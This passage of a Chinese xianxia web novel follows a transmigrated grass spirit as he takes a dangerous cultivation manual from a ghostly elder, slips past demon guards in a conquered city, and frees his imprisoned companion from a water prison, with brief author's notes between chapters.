尸骸保持着打坐的姿势,身上的衣物早已风化,但骨骼却隐隐泛着一种温润如玉的光泽,显然生前修为极高。 燕黎舟的心跳骤然加速。 他记起来了,这里……这里是男主发现适合他修炼秘籍的地方。 男主就是在这里得到了强劲功法,不仅如此,这老人还留下了不少宝贝。 谢灯就是在这里开始打脸逆袭之路的。 想到谢灯,燕黎舟神色不由得一冷。 他强撑着身体,重新变回人形爬到尸骸面前。 “晚辈燕黎舟,意外坠落于此,无意冒犯前辈安息,只为求生,望前辈见谅。” 燕黎舟朝着尸骸和秘籍的方向走进了些距离。 和原著一样,一个灰蒙蒙的身影出现在他的面前。 灰色的小老头摸着自己的白胡子,笑意盈盈,在燕黎舟眼里俨然就是一个圣诞节送礼物的圣诞小老头儿。 燕黎舟抿了下唇。 他要抢了男主的礼物! 虚影闪了几下,这才慢悠悠开口:“能找到这里,我们也是有缘。” “我穷尽一生都在追求强大的力量,我希望你也是。” “我这里有两本秘籍。” 灰色小老头伸手一挥,他的面前赫然出现两本书籍。 两本秘籍,封面颜色一灰一白。 在秘籍周围,一层淡淡的光晕笼罩着。 燕黎舟知道,一旦选择了其中一本,另一本就会瞬间自燃。 “两本功法都是世上仅有,白色的这本为至高无敌霹雳王霸秘籍,灰色的这本是无敌至高王霸霹雳秘籍。” 小老头好像在这里说绕口令,说完就开始偏离话题,开始源源不断地将讲他为了获得这两本秘籍并加以优化撰写的辛苦。 情到深处,虚影忍不住拿袖子抹眼泪。 “……” 燕黎舟肩膀上的嘻嘻听得用手撑着自己的脑袋。 “啰嗦死了,比你身边那个公羊还要啰嗦。”嘻嘻打了个哈欠吐槽。 燕黎舟没力气说话,嘴巴里满是血腥气,浑身沾满了血污和灰尘。 根本分不清他穿的是什么颜色,头发也松松垮垮地束着,更像是披散着头发。 他抿了抿唇,眨掉从额头流到眼睫上的血。 他不用听这小老头说都知道,这两本,一本注重一步一实,会压制境界,但可以让你越级战斗。 后期绝对是无敌的存在。 另一本,则是虚无缥缈的,能到什么境界,全靠自己。 原著中,谢灯就是选了白色那本,注重基础,修为一直被压着,也因此有了不少打脸名场面。 可是…… 燕黎舟视线看向灰色那本。 白色那本太慢了,他等不及。 面前小老头刚讲到自己和隔壁宗门的香梅恩爱情仇的遗憾,燕黎舟伸手,指尖就要触碰到面前灰色那本的秘籍。 “小友又何必这么心急。” 秘籍却主动避开燕黎舟,小老头开口道,手摸向灰色的秘籍随便翻了几本。 “都不听老夫讲讲这两本有什么不一样吗?” 燕黎舟不想浪费时间,额头的血液已经顺着脸颊流下来,在脸上画出来一道长长的痕迹。 “我知道,我选灰色那本。” 小老头轻笑,似是被气得,嘿了一声。 “老夫的秘籍,还没说给你呢,你伸手就要!” 燕黎舟没力气抬手去擦,只能不断地通过眨眼防止血液流进眼睛里。 “为什么不给我……” 燕黎舟眼睛一下子就红了,不知道是血还是什么,这句话说得小声,乍听还有些委屈—— 作者有话说:啊啊啊啊啊啊啊,存稿,有是存稿,没有存稿我真的会死掉的。 怎么办,怎么办…… 没有一点精力,脑子动不了一点 啊啊啊啊啊啊啊啊啊 我哭一会儿 第76章 灰色小老头一下子感觉自己在恃强凌弱, 不好意思地挠了挠鼻子。 但很快。 “我的东西为什么要给你?”小老头挺了挺胸,但眼神中依旧有些心虚。 燕黎舟低眸,眼睛透过面前的虚影看向不远处的尸骸, 又或者更远的什么东西。 他吸了吸鼻子。 “你都死了, 留着也没用。” “男主来的时候, 你什么都没有说, 就给他了, 给我就不行……” “他是为了打脸,可我只想救人。” 燕黎舟越说越委屈。 “为什么你给谢灯那么多, 什么都没有给我。” “我只有一个洛不觉……” 眼泪再次滚过之前血液留下的痕迹, 两者混在一起,瞬间花了脸。 旁边嘻嘻一看燕黎舟这样,瞬间急了, 也不管这邪恶小老头能不能听见自己说话。 “那么老一个人,都死几百年了,不能大度点,学我一样?” “跟一个刚聚灵的小草计较。” “好啦好啦, 哭什么!”小老头吹胡子瞪眼, 在燕黎舟旁边干瞪眼。 “我什么时候给过一只猪了!” 小老头抓了抓自己头发, 或许真是被燕黎舟一番不讲理的话洗脑。 “我告诉你哦,修行了这本秘籍的人没几个好下场!” “你选那个,那个好。” “这本太极端了,损耗你的身体, 境界越高,身体越惨。平时调动灵力也会损伤你的身体。” “根基打不牢,修行境界什么的都是个好听的名字,不实用。” “你选那个。” 小老头说着还把白色那本往燕黎舟面前推了推, 就差没直接把秘籍塞燕黎舟手上了。 燕黎舟抿了下唇。 他压下自己喉咙的哽咽:“我要灰色那本。” 燕黎舟当然清楚,这两本好比一个是涓涓溪水,所有的灵力在你身体里温和的循环,另一本就像是野兽,管它有什么路线,只会横冲直撞。 但是短时间内实力增长最快。 他现在最缺的就是时间。 “哎呀。” 小老头又急:“你这草精怎的听不懂话呢!” 燕黎舟执拗着要灰色那本,白色的他看都不看,手缩在袖子里一动不动。 小老头恨铁不成钢地瞅他一眼,终于把自己抱得紧紧的灰色秘籍递出去。 “呐呐呐!” “不识好赖。” 燕黎舟伸手,手没有阻碍地穿过灰色秘籍外面等层淡淡的光芒,如愿拿到了灰色秘籍。 不过白色的那本秘籍并没有像原著中一样消失,而是被灰色小老头一起丢给燕黎舟。 小老头语重心长:“草精我告诉你,灰色那本不是什么好的。” “喏。” “我这里有颗丹药,可以让你清除基础重新修习,你看两眼灰色那本稀罕一下就得了。” “等你救了你那什么人,就换白色这本修了。” “身体是根基!” 说完,灰色小老头的虚影就缓缓消散,留给燕黎舟两本秘籍和一颗丹药。 虚影彻底消失前,小老头趁着还没消散吐槽几句:“这么多年了,没见过你这样一个拧种!” “尸体上有个储物戒,老夫搜寻的东西都在里面,给你了,拧种……” 燕黎舟盯着小老头的眼睛,看着对方最后一丝神识消散在他面前。 “人死后,为什么会留下一个神识告诉别人我的东西在这里,快来拿快来拿呢?” 燕黎舟问嘻嘻。 嘻嘻正在探查老头说的话是真的假的,闻言抬头。 “不甘心吧。” “我也是,不然也不会找到你。” 燕黎舟目光缓缓移到嘻嘻身上:“你是怎么死掉的?” 嘻嘻伸出一只手挠了挠自己的脑袋。 “我有些忘了,那日洛剑尊让我滚远点后我听话的滚了几里地,后来就忘记了,只记得有意识的时候就飘在你身边。” “幸好嘻嘻我本就意念类的妖怪,不然真就死得透透了。” 燕黎舟垂眼,盯着手里的灰色秘籍,他也就随口一问,当下最要紧的还是救洛不觉。 如那小老头所说的,尸骸手上确实带着一枚储物戒,里面果然堆放着不少珍稀材料,灵丹妙药和一些杂七杂八的物件。 燕黎舟不知道哪个能给他帮助,干脆都拿出来堆在自己身边,开始照着灰色秘籍运转妖力。 起初,只是觉得经脉有些胀痛。 但很快,随着他主动引导外界灵气涌入体内,那股胀痛瞬间化为了撕裂般的剧痛! “呃!” 燕黎舟闷哼一声,额头青筋暴起,冷汗瞬间浸湿了衣襟。 他感觉自己的经脉像是被无数烧红的铁柱强行捅开。 嘻嘻一直在燕黎舟身边飘来飘去,生怕燕黎舟不小心出了什么好歹。 别洛仙尊还没开始救呢,燕黎舟又把自己搭进去了。 他死死咬着牙关,嘴唇和舌尖都被咬破,嘴巴里很快就填满了铁锈味。 燕黎舟庆幸自己是棵草,可以凭借着光合作用就活下来,不用为吃喝浪费时间。 他周身气息自开始运转起就变得极其不稳定,有时暴动像是下一秒就要爆体而亡,有时候衰弱地像是耗尽了自己所有的心血气。 一旁的嘻嘻看得担惊受怕。 痛苦一波又波地冲击着燕黎舟的意识,有好几次,他都感觉自己快要撑不下去了,经脉仿佛下一刻就要彻底崩断,意识也在剧痛中逐渐模糊。 可是燕黎舟都撑过来了。 他的境界飞快地提升着,嘻嘻看到又突破了一个境界的燕黎舟,满眼担心。 其中的痛苦嘻嘻不得而知,就连燕黎舟也说不出来,他似乎被痛得已经麻木。 就在嘻嘻以为燕黎舟是个不会痛的木偶人时,看见燕黎舟额头上的汗珠和发抖的身体又能知道他的情况很不好。 “怎么这么能忍呢。” 嘻嘻忍不住皱眉道。 不知道过了多久,燕黎舟周身气息终于稳定,他哇的吐出来一口血,把在周围守着的嘻嘻下了一大跳。 “怎么了怎么了?” “走火入魔了吗,等等我,撑住啊,我找找药!” 说着嘻嘻就来到自己分好的可以压制走火入魔的丹药,带着丹药滚到燕黎舟身边。 燕黎舟伸手捏住嘻嘻,将这只灰雾凝聚身子提到自己面前。 另一只手面无表情地擦掉嘴角的血。 “我没事。” 这话嘻嘻是一点不信。 “你当时是鬼娘娘的时候也是这么说的,然后下一秒你就去死了。” 嘻嘻举了个例子。 燕黎舟:“……” 他感受着体内充沛的妖力,自己的经脉在一次次冲断后重塑冲断后重塑,早已经变得十分脆弱。 不仅如此,燕黎舟周围围绕着的气息也十分微弱,根本看不出他会是个强者。 反而更像是渡劫失败后的强弓末弩。 “我们现在去救洛仙尊吗?” 嘻嘻担忧的看着燕黎舟身体,这才多久,他突破的这么快。 换做旁人,只会是高兴,可是…… 燕黎舟伸手将手放在墙壁上,墙壁被轰开,漏出外面的陡峭悬崖。 嘻嘻看得目瞪口呆,没想到那邪恶小老头给的功法居然这么有效。 燕黎舟依旧害怕,强忍着恐惧从悬崖壁上爬上去。 燕黎舟境界提升太快,很多他都不是很会,例如飞。 他抬头瞅了眼戈壁,尝试了几下,很快就得心应手。 几次需要接力,燕黎舟手指深深抠进岩壁缝隙,然后又接着往上走。 等到终于爬上去。 强烈的眩晕感后知后觉袭来,燕黎舟单膝跪地,剧烈地喘息着,喉头涌上腥甜,又被他强行咽下。 嘻嘻在旁边把手幻化成一把小扇子形状,看着燕黎舟额头上冒出来的细汗,给燕黎舟扇扇。 “休息一会吧,你刚刚突破大境界就开始体力活。” 燕黎舟喘着气,眩晕感让他不想说话,只是缓缓摇了摇头。 他伸手拍了拍胸口,压下涌上来的恶心感,胸口处心脏跳的异常的快。 “走。” 晋绳被扯坏了,燕黎舟找不到了,也感知不到洛不觉的位置,没有头绪地先来到云京打听。 谢灯那么在意汲子石,说不定人都被关在云京。 …… 云京。 这座昔日修真界最繁华鼎盛的地图上的一块,如今已彻底变了模样。 触目惊心的裂痕和腐蚀的焦黑痕迹,不见往日的车水马龙,只有一队队身披黑甲的魔族士兵在巡逻盘查。 墙上还贴着燕黎舟的黑白大头通缉令。 街上倒是有几个人,他们脸上麻木地摆着摊。 若不是那魔头要求,他们也不会出来在这装样子。 燕黎舟压低了从小老头储物戒里拿出来的斗笠帽子,整个人一身灰扑扑的,斗笠垂下来的黑纱遮住了燕黎舟的脸。 他混进人群里,目光在墙壁上自己的脸的画像上扫过,然后又不动声色地挪开视线。 索性他此刻周围气息虚弱,根本看不出来是个……妖怪。 几个魔族在进京必须的关卡挨个排查,看着捂得严严实实的燕黎舟,警惕道。 “掀起来。” 燕黎舟顿了一下,一只长瘦的手掀开黑色面纱。 黑色面纱被燕黎舟掀起来,漏出里面一张平平无奇的脸,燕黎舟抬眼,和通缉令上的画像判若两人。 储物戒里小老头搜寻的东西五花八门,燕黎舟意外发现的这张人皮面具。 负责监察的魔族审视了燕黎舟好几秒,嘻嘻在一旁心都要提到嗓子眼,偏偏被检查的这人一点表情没有。 眸子无神地定格在前方。 “走吧。” 那人最终放了通行。 燕黎舟点点头,面纱重新放下,随着人群表情麻木。 嘻嘻松了口气:“接下来怎么办。” 燕黎舟看着周围,目光最终又投向几名看守关卡的魔族身上。 “换班,辛苦了!” 一直看守的魔族看到来接替自己的同伴,伸了个腰道。 “昂,辛苦了!” “没发生什么事情吧。” “没有。” 两人寒暄了一下,一开始看守的那个拿着自己的斧头往休息处走,边走边打哈欠,手里巨大的斧头垂在地上,划出来一道长长的拖痕。 他锤了锤自己的肩膀,然后又没忍住接连打了个哈欠。 此时才刚过中午,阳光很刺眼,照在屋舍上的瓦砖上亮晶晶的。 燕黎舟藏身在阴影处,面无表情的盯着正在打哈欠的魔族—— 作者有话说:啊啊啊啊啊,疯狂补作业!!!! 耗干精气,好忙好忙,逐渐和小草同学感同身受了。 我现在最缺少的也是时间![爆哭] 第77章 燕黎舟和自己身旁一直飘着的嘻嘻使了个眼色。 嘻嘻回以一个可以的表情。 “好困啊, 怎么这么困。” 那个魔族嘴上嘟囔道,感觉今天比之前都累,哈欠一个接着一个。 燕黎舟找准时机, 上前来到魔族后面, 直接将他放倒。 燕黎舟面无表情将魔族拖到一个小巷子里, 抬头和嘻嘻点头。 他如今瘦弱的小小一个身体, 拖着比他大两倍的魔族却不在话下。 后者点头, 瞬间明白,雾气的身体将燕黎舟和这名魔族包裹住。 燕黎舟轻而易举就进入到这名魔族的梦境里。 奢华的寝殿, 最中央的一张大床上, 暗金纱幔无风自动,这名魔族半倚在软榻上,左右依偎着几道曼妙身影。 她们披着轻纱, 玲珑曲线在薄纱下若隐若现。 纤长手指划过魔族的臂膀,或轻抚过他的胸膛,引得这人舒服得眯了眯眼睛。 低低的娇笑声回荡在殿内,混杂着暧昧不清的呢喃。 那魔族沉浸在这片温柔乡里, 面容放松, 显露出迷醉的神情。 哪怕这样一副活春宫马上就要在燕黎舟面前上演, 他却是连表情都没变一下,手里提着无妄扇就闯过去。 那魔族还享受着美人的投喂,下一秒,一把漆黑的扇子就抵在他喉咙处。 看不清面容的人踩在他身上, 从上俯视他,声音沙哑难以辨认真实,唯一能听出来的是。 这人想杀死他。 不开玩笑。 “想活吗?” 魔头不知道这是真是还是梦境,一点犹豫没有就开始痛哭流涕表示自己想要活, 求求燕黎舟放了他。 燕黎舟对他的卖惨没有兴趣,扇尖又往魔族脖子处抵了抵。 “谢灯抓的天上白云京的人,关哪了?” 燕黎舟脚下的魔族有些疑惑为啥会问到这个,但下一秒就感受到脖子上的武器又近了一点,连忙举手投降。 “就关在天上白云京,主人让我们连夜修了个水牢。” “天上白云京的和好多宗门的人都关在那里。” “水牢在哪!” 燕黎舟脚下力道又重了几分。 “入口在哪?有多少守卫?” 那魔族吓得魂飞魄散,竹筒倒豆子般全说了出来。 得到关键信息,燕黎舟也没有丝毫犹豫。 他手中无妄扇锋利的边缘毫不犹豫地划过。 “呃!” 梦境轰然坍塌! 小巷中,燕黎舟猛地睁开双眼,雾气随之散去。 他脚下,那魔族身体抽搐了一下,便彻底没了声息。 “问出来了?”嘻嘻忙问。 “嗯。” 燕黎舟应了一声,目光落在那魔族身上那套魔族守卫服装上。 他蹲下身,动作利落地开始剥离魔族身上的衣物。 小小的身影,费力却坚定地套上那身比他体型宽大太多的衣服。 袖口和裤腿都明显长出一大截,穿在身上空荡荡的,显得十分滑稽。 但燕黎舟脸上没有任何表情,他只是将过长的部分仔细折起,用撕下的布条紧紧绑住,又抓了几把土,毫不在意地抹在脸上,掩盖住自己的皮肤。 最后,他拿起那个魔族脸上的面具,扣在了脸上,只露出一双眼睛。 “走。” 燕黎舟对嘻嘻低声道,声音透过面具传出,带着一丝沉闷。 他踢了踢角落的杂物,将那名魔族的尸体草草掩盖,随后便低着头,步伐略显拖沓地走出了小巷。 燕黎舟缩在宽大的盔甲里,尽量靠在建筑的阴影里,不让人发现他有什么异样。 刚走到一个拐角处的时候,燕黎舟身形一顿,身子往旁边一躲。 面前忽然出现一队魔兵。 燕黎舟深吸一口气,在看见最后一个人过去后猛地闪出来,极其自然地接在这队队尾巴。 队伍的最后一名魔兵似乎有所察觉,疑惑地回头看了一眼。 燕黎舟立马压低头颅,让面具完完全全遮住脸,同时喉咙里发出一声模糊的呼噜声。 那人见是同伴的衣服,也没多想,转回头去,嘟囔了一声:“快点跟上,早点接班去,突然好困啊。” 燕黎舟微微镇定了一下,压下胸口狂跳的心脏,沉默地跟进队伍。 重新进入天上白云京,燕黎舟压了压眼睛,有惊无险,混进来了。 昔日钟灵毓秀的云京仙境,如今被灰扑扑的,看不见一丝活气。 燕黎舟跟着巡逻队,飞快扫过周围的环境。 趁着队伍拐弯,燕黎舟身子往旁边一缩,迅速离开队伍。 他屏住呼吸,躲起来,直到巡逻队的脚步声远去,才缓缓吐出一口气。 “嘻嘻,能感觉到洛不觉的位置吗?”他在心中默问。 “东南?不是,好像西南……” 嘻嘻声音有些纠结。 燕黎舟皱眉,神识在整个天上白云京扫过,反应给他的信息同嘻嘻一样。 水牢…… 那个魔族说的方向是——西。 燕黎舟深深吐出一口气。 不管是什么方向,他都得去看看。 燕黎舟率先选择的是东南方向。 不只是第一直觉,更是因为,那里有一处深水泉,燕黎舟记得的。 若是建造水牢,那里最合适不过。 燕黎舟强迫自己冷静下来,更加小心地移动。 就在他凝神规划路线时,身后突然传来一声厉喝。 “喂!那个矮子!鬼鬼祟祟躲在这里做什么?!” 燕黎舟心中一凛,缓缓转身。 身后不远处站着一名魔兵正带着怀疑的目光盯着他。 燕黎舟缓缓转身,骨质面具掩盖了他所有表情,眼睛透过面具上的洞看向那名魔兵。 他刻意让肩膀微微缩起,显得更加矮小畏缩,喉咙里发出含糊的声音。 “……憋,憋不住了,找个地方解手。” 那人眉头紧皱,上下打量着这个同伴,虽然是这么说但依旧有些怀疑。 他往前逼近一步,手按在了腰间的斧头上。 “解手?这片区域禁止随意逗留!你是哪一队的?令牌呢?” 啧! 装不下去了。 燕黎舟眼神一冷,不装了,就在那人伸手欲抓向他衣领的瞬间! 身形突然前冲,直接撞入对方怀中! 左手精准扣住对方按在刀柄的手腕,猛地一拧。 同时藏在袖中的无妄扇悄无声息地滑出,漆黑的扇缘锋利,精准无比地划过对方喉咙。 “额……” 小队长双眼圆瞪,难以置信地看着近在咫尺的面具,喉间只发出一声短促的气音,所有力量瞬间被抽空。 燕黎舟顺势扶住他软倒的身体,动作迅捷地将尸体拖入旁边的阴影深处,用东西草草地掩盖住尸体。 整个过程不过呼吸之间,动作干净利落。 他深吸一口气,压下因瞬间爆发而略微急促的呼吸。 不再犹豫,迅速在周围寻找起来,就在他抿唇想着换个地方时,终于被他发现了一座明显是新盖起来的建筑。 燕黎舟足下发力,身形瞬间掠起,在房檐上几次借力,便悄无声息地进入那栋建筑里。 丑陋,难看,和天上白云间格格不入的建筑。 这里阴冷潮湿,光线只能凭借着在墙壁上放着的几盏油灯。 这里大部分空间都在地下,越往下走就越潮湿。 燕黎舟看着周围狭窄的墙壁通道,身形一闪,重新变成一株人畜无害的小草。 小小的一棵草已经枯黄,可能是冬天快要到了的缘故,作为一棵草,燕黎舟的行动十分缓慢。 但在昏暗的这里,也不容易被发现。 枯黄的小草紧贴着潮湿的墙壁缝隙,缓慢地挪动。 小草形态下,燕黎舟的感知变得异常敏锐。 进去的越深,燕黎舟心里“洛不觉就在这里”的想法就更坚定。 这感觉让燕黎舟精神微微一振,移动的速度也快了一些。 通道并非一直无人,偶尔有巡逻的魔兵脚步声从上方的台阶传来,沉重的步伐震得墙壁微微颤动。 每当这时,小草便彻底静止,枯黄的颜色与墙壁的阴影几乎融为一体。 完美地隐藏起来。 越往下,空间越发开阔。 水珠不断从头顶的石壁滴落,脚下甚至开始出现浅浅的积水。 燕黎舟小心翼翼地挪到通道边边靠着墙壁,借着墙壁上油灯的光向下望去。 下方是一个巨大的环形水牢。 漆黑的水面最中央的一个笼子,他看到了那个熟悉的身影。 “洛不觉!” 燕黎舟看清洛不觉的处境后内心猛的揪起来。 对方双臂被锁链高高吊起,身体大部分都浸泡在冰水里,脑袋无力地垂着,湿透的黑发黏在苍白得毫无血色的脸颊上。 脆弱,可怜。 洛不觉闭着眼,不知是死是活。 燕黎舟暗暗咬牙,内心暴躁的情绪不断冲上心头。 旁边嘻嘻凭借着别人看不见他飞下去凑到洛不觉身边。 嘻嘻担忧的声音在燕黎舟脑子里响起。 “燕黎舟,情况好像不太好,洛剑尊身体里有好多杂乱的东西。” “在拖下去,洛剑尊会废掉的。” 燕黎舟强行压下内心翻涌的杀意。 他知道,此刻现身,不仅救不了人,只会一起葬送在这里。 他仔细观察着水牢的布局。 中央是洛不觉的牢笼,只有一条狭窄的石桥通往洛不觉被关的地方。 入口处有两名魔兵把守,而更远处,似乎还有巡逻队定时经过巡逻。 硬闯几乎不可能。 他的目光扫过水面,扫过牢笼,锁链,守卫…… 最后,目光定格在距离洛不觉牢笼不远处的,一根从顶部垂下的铁链上。 燕黎舟计划着。 他可以爬上那根铁链,然后顺着铁链一路来到洛不觉的上方,顺着锁着洛不觉的锁链下来。 燕黎舟的目光顺着自己的计划的路线走了一回,确定了一下可行度,不再犹豫。 小小一棵草沿着墙壁继续向下,悄无声息地滑入刺骨的水里—— 作者有话说:今天计算了一下,不出意外的话,下个月能完结 感谢感谢大家 [撒花][撒花][撒花] 第78章 草形态在水中移动更加艰难, 他忍耐着,借着水下阴影的掩护,一点点向着那根铁链靠近。 终于, 他来到了铁链下方。 锁链距离水面还有一定的距离, 燕黎舟必须变回人形, 然后在被守卫察觉到之前重新变回草。 …… 赌一把! 他集中精神, 身形瞬间恢复成人形态, 在双手在接触铁链的瞬间,长长叶子死死抓住了那根铁链。 “哗啦!” 水声在寂静的水牢中显得格外清晰! “谁?!” 入口处的两名魔兵立刻警觉, 厉声喝道, 目光扫视过来! 燕黎舟心脏骤停,湿漉漉的小草紧紧贴在铁链上,屏住呼吸, 将自己隐藏在铁链背后。 魔兵的目光扫过水面,又看了看似乎并无异样的牢笼,其中一个皱了皱眉。 “好像是水声?哎,应该是哪个快不行的家伙动了一下。” 另一个侧耳听了听, 没再发现动静, 嘴上嘟囔。 “妈的, 这鬼地方,疑神疑鬼的。” 洛不觉也听见动静,抬了抬眼睛,燕黎舟所在的位置背对着那些守卫, 却侧对着洛不觉。 几乎是瞬间,洛不觉的视线就锁定在燕黎舟身上。 燕黎舟转头,视线和人对了个正着。 四目相对时,燕黎舟呼吸下意识缓了缓。 洛不觉的嘴唇微微动了动, 似乎想说什么,但却只能发出一点微弱的气音。 最终只是轻微地摇了摇头,动作幅度小到几乎无法察觉。 快走,别管我。 他没有说话,但燕黎舟读懂了。 他看到洛不觉摇头,看到对方眼中的不赞同,心中仿佛被什么东西狠狠揪了一下。 燕黎舟咽了口口水,想扯出一个笑容,但想起自己现在是一颗小草,对方看不见。 别怕,我来了。 再坚持一下,我马上救你出去。 燕黎舟同样用行动告诉洛不觉。 他缓缓吐出一口气,不再耽搁时间,开始沿着铁链向上攀爬。 动作极其轻缓,避免发出任何声音。 很快,他爬到了铁链与洛不觉牢笼顶部几乎平行的高度,悄无声息地挪动到了牢笼顶部的锁链连接处。 而洛不觉几乎是在发现燕黎舟的瞬间,视线就一直死死盯在燕黎舟身上。 燕黎舟站在高处,毫不犹豫,立刻顺着铁链滑下。 顺着铁链落到洛不觉手臂上。 他爬到洛不觉肩膀上,周围的看守没有发现一点异常,长长的叶子拽了拽洛不觉身上的锁链。 扯不动。 洛不觉侧过头,用脸颊蹭了一下那株枯黄的小草。 动作带着安抚。 “我很开心,你没事。” 燕黎舟顿了一下继续扯洛不觉身上的锁链。 “别管了,扯不断的,带着我,都跑不掉。”洛不觉看着燕黎舟的动作道。 燕黎舟咬牙,固执的去扯洛不觉身上的锁链。 “钥匙。” 洛不觉喉咙轻轻上下滚动了一下。 燕黎舟动作一下子就停了。 “在守卫腰间。”洛不觉道。 闻言燕黎舟的目光瞬间投向水牢入口处的那两名守卫。 其中一名腰间确实挂着一串形状各异的钥匙。 怎么拿到手?燕黎舟蹙眉想。 硬抢不可能。只能智取。 叶子轻轻蹭了蹭洛不觉的脸颊,旋即,燕黎舟悄无声息地从洛不觉肩膀上滑落,向着守卫的方向挪动。 两名守卫依旧站在原地,注意力似乎有些涣散,长时间看守这死气沉沉的地方,他们看上去已经开始疲惫了。 其中挂着钥匙的那名守卫甚至打了个哈欠。 这对于燕黎舟来说是个好消息。 燕黎舟潜到那名守卫脚下的阴影处。 他需要制造一个足够转移对方注意力同时又不会引起太大警觉的动静。 就在这时,洛不觉似是和他心灵相通,轻轻晃动了一下身子,浑身的锁链碰撞发出声音。 “干什么?” 挂钥匙的守卫下意识地朝那边走了两步,手按在刀柄上,试图搞清楚发生了情况。 燕黎舟抓住时机,小草几下跳到那名守卫身上,叶片缠绕上守卫腰间那串钥匙,用力一扯! “哗啦!” 钥匙串碰撞同样发出清脆的声响! “谁?!” 守卫立刻察觉,猛地低头,什么都没看见。 “怎么了?” 另一位守卫问。 “没,好像看花眼了。” 他挠了挠脑袋,摇头道。 燕黎舟带着那串沉重的钥匙,顺着水潜回洛不觉的牢笼之下。 他变回人形,悄悄从水中冒头。 那两个守卫已经重新回到了自己的位置,背对着洛不觉目光扫看周围。 两个人明显都更警惕了。 水下光线昏暗,燕黎舟顾不上浑身湿透,指尖快速摸索过一把把形状各异的钥匙。 凭借记忆和触感寻找着与洛不觉牢笼大锁孔洞匹配的那一把。 洛不觉悬吊在上方,目光紧紧盯着入口处守卫的背影,同时用余光关注着水下晃动的影子。 他看到燕黎舟冒头换气时苍白的脸色,同样苍白的唇抿紧,同时轻轻调动身体内的灵力。 调动着身体内灵力在体内循环,却被体内浑浊的寒气攻击,喉头涌上来血腥味。 燕黎舟摸到一把钥匙,其形状与记忆中的锁孔大致吻合,小心翼翼地将钥匙插入牢笼大锁。 咔哒。 一声轻响,在寂静的水牢中如同惊雷!两名守卫猛地回头! “什么声音?!” 他们正好看到燕黎舟推开牢门,手中握着那串明显属于他们的钥匙! “他拿走了钥匙!” 丢失钥匙的守卫这才想起什么,低头看了眼自己腰间。 随即挥舞着自己的斧头,咆哮着冲了过来,另一名守卫也立刻拔刀跟上! 燕黎舟对这一切充耳不闻。 他眼中只有洛不觉身上剩余的镣铐。 他眼见被发现了,也不再隐藏,直接跳进水里,不顾守卫逼近的危险,来到洛不觉身边摸索到禁锢洛不觉双脚的镣铐。 “咔!” 脚镣应声而开! 紧接着,燕黎舟抓住连接洛不觉双臂的主锁链,找到了最后的锁头。 第一名守卫已经冲到牢笼边,斧头带着风直劈燕黎舟后背! “小心!” 洛不觉嘶哑地喊道,用尽力气想挣动身体去挡,却徒劳无功。 嘻嘻在旁边紧张的咬手。 “燕黎舟,他要砍到你了!” 嘻嘻喊着把手从嘴巴里抽出来捂住自己的眼睛。 一道妖力从燕黎舟周围爆发,瞬间凝聚成一道半透明的屏障! “dang!” 斧头砍在雾气屏障上,发出沉闷的响声,屏障剧烈波动,却成功挡下了这一击! 燕黎舟趁此机会,猛地拧动钥匙! “咔嚓!” 最后一道锁链断开! 洛不觉如同断线的木偶,直直坠下。 燕黎舟转身,不顾身后再次举刀的守卫,伸出双臂,将洛不觉牢牢接住,紧紧拥入怀中。 洛不觉的头无力地靠在他肩头,微弱的呼吸拂过他的脖颈。 燕黎舟抱紧了他,感受着怀里的人冰冷的体温,他右手往旁边一伸,无妄扇凭空出现飞到他手中。 面无表情地看向从入口处蜂拥而入的魔兵。 他将洛不觉往背上稳稳一送,从储物戒里找出早已经准备好的布条迅速而牢固地捆绑好,确保洛不觉不会在接下来的战斗中滑落。 “抓紧我。”他低声道。 洛不觉用尽最后力气,双臂微微环住燕黎舟的脖颈。 燕黎舟深吸一口气,无妄扇展开,冷冷看着面前围绕着的越来越多的魔族。 “拦住他!” “杀!” 燕黎舟面无表情,身形在狭窄的石桥上快速闪动。 无妄扇在他手中仿佛拥有了生命,格挡开劈砍而来的刀斧。 “噗嗤!” 扇边精准地掠过一名魔兵的咽喉,呲起一片,燕黎舟的衣服上也沾上了不少,呆在他背上的洛不觉却丝毫没沾上。 燕黎舟脚步不停,侧身避开直刺的长矛,反手,扇骨重重击在另一名魔兵的太阳穴上,那魔兵哼都没哼一声便软倒在地。 “嘻嘻,迷雾!”燕黎舟在心中呼喊。 喊完,燕黎舟身边浓重的雾气扩散开来。 浓稠如实质的灰白色雾气迅速充斥了整个水牢入口附近的区域,视线顿时变得模糊不清。 “怎么回事?!” “我看不见了!” 魔兵们顿时陷入混乱,挥舞着兵器盲目地劈砍,甚至误伤了自己人。 洛不觉伏在他背上,闻到那越来越浓重的血腥气。 他闭着眼,将脸埋在燕黎舟的颈窝,深深呼吸两下,双臂紧紧环住对方,不去看那血腥的场面。 他尽量贴合着燕黎舟,不给对方增添额外的负担。 终于,燕黎舟杀穿了入口处最密集的包围圈,冲了出去! 冲出去后,看到外面的情形,燕黎舟心下一沉。 更多的魔兵闻声赶来,黑压压地围成了一圈。 为首的是一名气息明显强横许多的魔将,手持双斧,眼神残忍地盯着他。 “小子,放下你背上的那人,束手就擒,可以让你死得痛快些!” 魔将声音沙哑,嗤笑道。 燕黎舟停下脚步,微微喘息,握着无妄扇的手紧了紧。 连续的厮杀和维持嘻嘻的迷雾,让他的妖力消耗巨大。 背着洛不觉,他的动作也受到了一定的限制。 他侧头,用脸颊轻轻碰了碰洛不觉没有温度的脸颊。 垂下眼睛,低声道:“洛不觉,你害怕吗?” 洛不觉艰难地抬起头,扫过面前的场景,苍白的脸同样面无表情,声音清晰。 “与你一起。” 燕黎舟也笑了,那笑容在他染血的稚嫩脸庞上,显得格外妖异而决绝。 “好。” 他重新看向那魔将,以及他身后无数的魔兵,眼中没有丝毫退缩。 无妄扇再次扬起,指向面前所有人—— 作者有话说:好吧,我承认,我有的时候是偷懒了那么一点。 比如……魔族不管能力大小,不是斧头还是斧头。 用魔族感觉怪怪的,所以变着法地用魔兵魔将,老是想到“神兵小将”[狗头] 除了几个重要角色,没有姓名的我全是一律武器就是魔斧了。 [害羞][害羞] 第79章 燕黎舟背着洛不觉, 两人摆脱了追兵暂时躲入了一处隐蔽的山洞。 嘻嘻大口喘着气:“你得,好好谢谢我。” 可能是消耗得能量太多了,嘻嘻说话都断断续续的。 燕黎舟小心翼翼地将背上的人放下, 让他靠坐在岩壁旁。 自己则脱力般单膝跪在旁边, 剧烈地喘息着, 汗水混着血水从额角滑落。 无妄扇被他紧紧攥在手中, 神经依旧保持着警惕。 “暂时……安全了。” 燕黎舟的声音有些哑, 他看向靠在岩壁上闭着眼的洛不觉。 他伸出手,想替对方擦去脸颊上的污迹, 指尖即将触碰到那皮肤的时, 